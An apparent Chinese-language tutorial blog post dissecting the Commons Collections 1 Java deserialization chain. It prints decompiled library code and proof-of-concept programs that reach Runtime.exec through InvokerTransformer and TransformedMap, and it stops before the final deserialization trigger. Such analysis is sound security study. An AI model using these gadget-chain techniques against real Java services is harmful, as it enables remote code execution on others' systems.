Java反序列化:Commons Collections 1 链深度解析

本文深入解析Java反序列化漏洞中的Commons Collections 1(CC1)利用链,详细阐述其核心组件InvokerTransformer的工作原理及命令执行过程。

cc1

  1. 入口

    • transformer接口
    package org.apache.commons.collections;
    
    public interface Transformer {
        Object transform(Object var1);
    }
    
    • 找到接口的实现类org.apache.commons.collections.functors.InvokerTransformer
    //
    // Source code recreated from a .class file by IntelliJ IDEA
    // (powered by FernFlower decompiler)
    //
    
    package org.apache.commons.collections.functors;
    
    import java.io.Serializable;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    import org.apache.commons.collections.FunctorException;
    import org.apache.commons.collections.Transformer;
    
    public class InvokerTransformer implements Transformer, Serializable {
        private static final long serialVersionUID = -8653385846894047688L;
        private final String iMethodName;
        private final Class[] iParamTypes;
        private final Object[] iArgs;
    
        public static Transformer getInstance(String methodName) {
            if (methodName == null) {
                throw new IllegalArgumentException("The method to invoke must not be null");
            } else {
                return new InvokerTransformer(methodName);
            }
        }
    
        public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
            if (methodName == null) {
                throw new IllegalArgumentException("The method to invoke must not be null");
            } else if ((paramTypes != null || args == null) && (paramTypes == null || args != null) && (paramTypes == null || args == null || paramTypes.length == args.length)) {
                if (paramTypes != null && paramTypes.length != 0) {
                    paramTypes = (Class[])paramTypes.clone();
                    args = args.clone();
                    return new InvokerTransformer(methodName, paramTypes, args);
                } else {
                    return new InvokerTransformer(methodName);
                }
            } else {
                throw new IllegalArgumentException("The parameter types must match the arguments");
            }
        }
    
        private InvokerTransformer(String methodName) {
            this.iMethodName = methodName;
            this.iParamTypes = null;
            this.iArgs = null;
        }
    
        public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
            this.iMethodName = methodName;
            this.iParamTypes = paramTypes;
            this.iArgs = args;
        }
    
        public Object transform(Object input) {
            if (input == null) {
                return null;
            } else {
                try {
                    Class cls = input.getClass();
                    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                    return method.invoke(input, this.iArgs);
                } catch (NoSuchMethodException var4) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
                } catch (IllegalAccessException var5) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
                } catch (InvocationTargetException ex) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
                }
            }
        }
    }

    查看transform方法发现这个方法接收的参数是一个Object,也就是可以接收任意类的对象(多态),之后获取这个类的类对象,根据类对象获取这个类的某个方法,方法名和这个方法需要的参数类型,函数getMethod方法指定,this.iMethodname是妖狐去的方法名,this.iArgs是要获取的参数类型。最后通过method。invoke去执行这个方法,其中的参数包括要执行transform以及这个对象包含的参数(注意:是参数不是参数类型)。

    接下来看如何设置需要的四个参数,包括(Object input,iMethodname,iParamTypes,IArgs)。

    如果对于命令执行的话,常见的java命令执行方式有:Runtime.getRuntime().exec()

    那么这里我们可以尝试Object是Runtime.getRuntime(),如何设置iMethodname,iParamTypes,IArgs呢?往上看可以看到构造函数,通过构造函数可以提供所有的参数,那么可以尝试一下能否进行命令执行。

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStreamReader;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    
    public class myExec {
        public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InterruptedException {
            String[] command = {"/bin/sh", "-c", "ls -l /"};
    
            // 注意:invoke 的第二个参数是 Object...,所以需要将 command 数组再包装一下
            // 因为invok函数会一个一个把数组中的每一个元素交给exec处理,但是exec需要的一整个字符串数组,所以需要继续包装,这样拆开的第一个元素也就是完整的字符串就被交给了exec。
            Transformer aaa = new InvokerTransformer("exec", new Class[]{String[].class},new Object[]{command});
            // 2. 获取 Runtime 类的 Class 对象
            Class<?> runtimeClass = Class.forName("java.lang.Runtime");
    
            // 3. 获取 getRuntime() 这个静态方法 (该方法没有参数)
            Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
    
            // 4. 调用 getRuntime() 方法,因为是静态方法,所以第一个参数传 null
            // 这会返回一个 Runtime 的实例对象
            Object runtimeInstance = getRuntimeMethod.invoke(null);
    
            // ---接收 transform 的返回值 ---
            // transform 方法的返回值就是 exec 方法的返回值,即 Process 对象
            // 因为是反射调用,所以返回的是 Object 类型,需要我们强制转换
            Process process = null;
            Object processObject = aaa.transform(runtimeInstance);
            process = (Process) processObject;
    
            // --- 读取并打印进程的输出流 ---
            // 这部分逻辑与常规的 RuntimeExecExample.java 完全一样
            System.out.println("--- Command Output Start ---");
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
            System.out.println("--- Command Output End ---");
    
    
            // --- 等待进程结束并获取退出码 ---
            int exitCode = process.waitFor();
            System.out.println("Command exited with code: " + exitCode);
    
        }
    }

    很明显这里执行成功,其中2-4步可以直接是runtimeInstance = RunTime.getRunTime()

    • 现在我们找到了可以命令执行的方法,那么如何利用呢?

      • 找到利用transformer的地方,查看transform函数调用,我们是否能够利用transform函数的参数Object
    • 这里我们先用TransformedMap类,

          protected Object checkSetValue(Object value) {
              return this.valueTransformer.transform(value);
          }

      这里调用了transform函数,我们继续看看如何设置this.valueTransformer

      
          public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
              return new TransformedMap(map, keyTransformer, valueTransformer);
          }
      
          protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
              super(map);
              this.keyTransformer = keyTransformer;
              this.valueTransformer = valueTransformer;
          }

      这里可以看到TransformedMap这个类的构造函数是protected,所以需要在类内部调用构造函数,decorate方法是一个静态方法,可以直接通过类调用进一步获取实例,传递的参数包括:(Map,Transformer,Transformer)。那么这里有调用transform函数,接下来就有两点:

      1. 如何把valueTransformer变成InvokeTransformer
      2. Object Value如何控制成InvokeTransformer

      我们可以先看第二个,需要看看value的值是如何传递的?跟进看一下

      点击左侧符号,我们找到了AbstractInputCheckedMapDecorator类,并发现在子类对checkSetValue有调用

      static class MapEntry extends AbstractMapEntryDecorator {
          private final AbstractInputCheckedMapDecorator parent;
      
          protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
              super(entry);
              this.parent = parent;
          }
      
          public Object setValue(Object value) {
              value = this.parent.checkSetValue(value);
              return this.entry.setValue(value);
          }
      }

      那么接下来我们试一下这个setValue能否能利用,思路如下:

      • 先构造invokeTransformer命名为it
      • 利用先前说到的TransformedMap类的静态方法decorate创建TransformedMap对象,这个时候会传递一个map和我们之前创造的it
      • 遍历TransformedMap对象的所有元素,调用每个元素的setValue
      • 这个时候会调用AbstractMapEntryDecorator类的setValue进一步
      • 在执行到this.parent.checkSetValue(value);时候会调用TransformedMap的checkValue函数
      • 最终执行了return this.valueTransformer.transform(value);

      注意:这里解释一下为什么this.parent是指TransformedMap对象:

      由于我们调用了decorate.entrySet(),我们可以查看TransformedMap中这个函数,会发现他没有,那么就查看父类中的这个函数AbstractInputCheckedMapDecorator,

      public Set entrySet() {
          return (Set)(this.isSetValueChecking() ? new EntrySet(this.map.entrySet(), this) : this.map.entrySet());
      }

      这里传递的this就指的是TransformedMap对象。

      思路代码如下:

      import org.apache.commons.collections.functors.InvokerTransformer;
      import org.apache.commons.collections.map.TransformedMap;
      
      import java.util.HashMap;
      import java.util.Map;
      
      public class myExec2 {
          public static void main(String[] args) {
              Runtime runtime = Runtime.getRuntime();
              String[] command = {"open", "-a", "Calculator"};
              InvokerTransformer it = new InvokerTransformer("exec",new Class[]{String[].class},new Object[]{command});
              HashMap<Object, Object> map = new HashMap<Object, Object>();
              map.put("1","2");
              Map<Object, Object> decorate = TransformedMap.decorate(map, null, it);
              for (Map.Entry entry : decorate.entrySet()) {
                  entry.setValue(runtime);
              }
      
          }
      }

      QQ_1753682451190

    • 那么接下来,我们需要能够找到调用setValue的地方,就是找到能够接受一个map,并且便利这个map的所有元素 并调用setValue函数

留言讨论

0 条留言

正在加载留言...